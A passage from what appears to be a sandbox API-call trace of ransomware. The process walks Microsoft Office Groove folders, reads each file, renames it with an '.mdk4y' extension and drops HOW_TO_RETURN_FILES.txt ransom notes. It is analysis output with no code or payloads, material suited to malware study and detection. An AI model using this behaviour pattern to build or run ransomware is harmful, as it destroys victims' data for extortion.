lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xb2e, lpOverlapped=0x0) returned 1 [0222.617] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829784700000) returned 1 [0222.617] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829784700000) returned 1 [0222.617] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusOnline.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\statusonline.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusOnline.ico.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\statusonline.ico.mdk4y")) returned 1 [0222.619] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0222.619] AreFileApisANSI () returned 1 [0222.619] GetACP () returned 0x4e4 [0222.619] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TOOLICON.ICO", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="TOOLICON.ICO.ico", lpUsedDefaultChar=0x37dec0) returned 12 [0222.619] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\TOOLICON.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\toolicon.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0222.619] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829784900000) returned 1 [0222.619] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x2796, lpOverlapped=0x0) returned 1 [0222.629] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829785900000) returned 1 [0222.629] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829785900000) returned 1 [0222.629] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\TOOLICON.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\toolicon.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\TOOLICON.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\toolicon.ico.mdk4y")) returned 1 [0222.631] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0222.631] AreFileApisANSI () returned 1 [0222.631] GetACP () returned 0x4e4 [0222.631] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WSS.ICO", cchWideChar=7, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="WSS.ICON.ICO", lpUsedDefaultChar=0x37dec0) returned 7 [0222.631] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\WSS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\wss.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0222.632] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829786200000) returned 1 [0222.632] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x2366, lpOverlapped=0x0) returned 1 [0222.641] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829787100000) returned 1 [0222.641] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829787100000) returned 1 [0222.641] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\WSS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\wss.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\WSS.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\wss.ico.mdk4y")) returned 1 [0222.643] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0222.643] AreFileApisANSI () returned 1 [0222.643] GetACP () returned 0x4e4 [0222.643] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WSS_DocLib.ico", cchWideChar=14, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="WSS_DocLib.icoco", lpUsedDefaultChar=0x37dec0) returned 14 [0222.643] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\WSS_DocLib.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\wss_doclib.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0222.644] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829787400000) returned 1 [0222.644] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xb2e, lpOverlapped=0x0) returned 1 [0222.645] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829787500000) returned 1 [0222.645] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829787500000) returned 1 [0222.645] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\WSS_DocLib.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\wss_doclib.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\WSS_DocLib.ico.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\wss_doclib.ico.mdk4y")) returned 1 [0222.647] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 0 [0222.647] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0222.647] AreFileApisANSI () returned 1 [0222.647] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b9f70, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 84 [0222.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xd8 [0222.648] GetFileType (hFile=0xd8) returned 0x1 [0222.649] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0222.649] AreFileApisANSI () returned 1 [0222.649] GetACP () returned 0x4e4 [0222.649] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="XML Files", cchWideChar=9, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="XML Files", lpUsedDefaultChar=0x37df4c) returned 9 [0222.649] AreFileApisANSI () returned 1 [0222.649] GetACP () returned 0x4e4 [0222.649] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=60, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\齰kj̸") returned 60 [0222.677] AreFileApisANSI () returned 1 [0222.682] GetACP () returned 0x4e4 [0222.682] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dec0) returned 1 [0222.682] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0222.682] AreFileApisANSI () returned 1 [0222.682] GetACP () returned 0x4e4 [0222.682] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dec0) returned 2 [0222.682] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0222.682] AreFileApisANSI () returned 1 [0222.682] GetACP () returned 0x4e4 [0222.682] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="builtincontrolsschema.xsd", cchWideChar=25, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="builtincontrolsschema.xsdrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dec0) returned 25 [0222.682] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\builtincontrolsschema.xsd" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\builtincontrolsschema.xsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0222.719] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829794900000) returned 1 [0222.719] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x487, lpOverlapped=0x0) returned 1 [0222.721] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829795100000) returned 1 [0222.721] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829795100000) returned 1 [0222.721] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\builtincontrolsschema.xsd" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\builtincontrolsschema.xsd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\builtincontrolsschema.xsd.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\builtincontrolsschema.xsd.mdk4y")) returned 1 [0222.723] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0222.723] AreFileApisANSI () returned 1 [0222.723] GetACP () returned 0x4e4 [0222.723] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="grvschema.xsd", cchWideChar=13, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="grvschema.xsdlsschema.xsd", lpUsedDefaultChar=0x37dec0) returned 13 [0222.723] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\grvschema.xsd" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\grvschema.xsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0222.725] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829795500000) returned 1 [0222.725] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x5d5, lpOverlapped=0x0) returned 1 [0222.729] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829795900000) returned 1 [0222.729] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829795900000) returned 1 [0222.730] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\grvschema.xsd" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\grvschema.xsd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\grvschema.xsd.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\grvschema.xsd.mdk4y")) returned 1 [0222.731] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0222.731] AreFileApisANSI () returned 1 [0222.731] GetACP () returned 0x4e4 [0222.731] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Messenger.xml", cchWideChar=13, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Messenger.xml", lpUsedDefaultChar=0x37dec0) returned 13 [0222.731] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\Messenger.xml" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\messenger.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0222.732] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829796200000) returned 1 [0222.732] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x14a, lpOverlapped=0x0) returned 1 [0222.733] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829796300000) returned 1 [0222.733] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829796300000) returned 1 [0222.733] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\Messenger.xml" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\messenger.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\Messenger.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\messenger.xml.mdk4y")) returned 1 [0222.734] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0222.734] AreFileApisANSI () returned 1 [0222.734] GetACP () returned 0x4e4 [0222.734] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Space Templates", cchWideChar=15, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Space Templatesschema.xsd", lpUsedDefaultChar=0x37dec0) returned 15 [0222.734] AreFileApisANSI () returned 1 [0222.734] GetACP () returned 0x4e4 [0222.734] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a9898, cbMultiByte=76, lpWideCharStr=0x37dc54, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\Space Templates\\䀠") returned 76 [0222.735] AreFileApisANSI () returned 1 [0222.735] GetACP () returned 0x4e4 [0222.735] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6a207c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37de34) returned 1 [0222.735] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0222.735] AreFileApisANSI () returned 1 [0222.735] GetACP () returned 0x4e4 [0222.735] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6a207c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="..:", lpUsedDefaultChar=0x37de34) returned 2 [0222.735] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 0 [0222.735] FindClose (in: hFindFile=0x6ab390 | out: hFindFile=0x6ab390) returned 1 [0222.735] AreFileApisANSI () returned 1 [0222.736] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x691c88, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 100 [0222.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\Space Templates\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\space templates\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37db6c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xe0 [0222.736] GetFileType (hFile=0xe0) returned 0x1 [0222.737] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0222.737] AreFileApisANSI () returned 1 [0222.737] GetACP () returned 0x4e4 [0222.737] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="StarterApplicationDescriptors.xml", cchWideChar=33, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="StarterApplicationDescriptors.xmlXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dec0) returned 33 [0222.737] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterApplicationDescriptors.xml" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\starterapplicationdescriptors.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0222.738] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829796800000) returned 1 [0222.738] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x17e2d, lpOverlapped=0x0) returned 1 [0222.745] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829797500000) returned 1 [0222.745] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829797500000) returned 1 [0222.746] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterApplicationDescriptors.xml" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\starterapplicationdescriptors.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterApplicationDescriptors.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\starterapplicationdescriptors.xml.mdk4y")) returned 1 [0222.747] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0222.747] AreFileApisANSI () returned 1 [0222.747] GetACP () returned 0x4e4 [0222.747] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="StarterNotificationDescriptors.xml", cchWideChar=34, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="StarterNotificationDescriptors.xmlqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dec0) returned 34 [0222.747] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterNotificationDescriptors.xml" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\starternotificationdescriptors.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0222.748] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829797800000) returned 1 [0222.748] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1b875, lpOverlapped=0x0) returned 1 [0222.768] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829799900000) returned 1 [0222.769] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829799900000) returned 1 [0222.773] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterNotificationDescriptors.xml" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\starternotificationdescriptors.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterNotificationDescriptors.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\starternotificationdescriptors.xml.mdk4y")) returned 1 [0222.775] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0222.775] AreFileApisANSI () returned 1 [0222.775] GetACP () returned 0x4e4 [0222.775] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="StarterToolTemplates.xml", cchWideChar=24, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="StarterToolTemplates.xmliptors.xml", lpUsedDefaultChar=0x37dec0) returned 24 [0222.775] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterToolTemplates.xml" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\startertooltemplates.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0222.776] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829800600000) returned 1 [0222.776] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1a553, lpOverlapped=0x0) returned 1 [0222.792] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829802200000) returned 1 [0222.792] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829802200000) returned 1 [0222.793] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterToolTemplates.xml" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\startertooltemplates.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterToolTemplates.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\startertooltemplates.xml.mdk4y")) returned 1 [0222.796] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 0 [0222.796] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0222.796] AreFileApisANSI () returned 1 [0222.796] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b9f70, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 84 [0222.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xd8 [0222.797] GetFileType (hFile=0xd8) returned 0x1 [0222.798] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 0 [0222.798] FindClose (in: hFindFile=0x6ab310 | out: hFindFile=0x6ab310) returned 1 [0222.798] AreFileApisANSI () returned 1 [0222.798] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b9f70, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0222.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dc84, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0222.799] GetFileType (hFile=0x12c) returned 0x1 [0222.799] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: 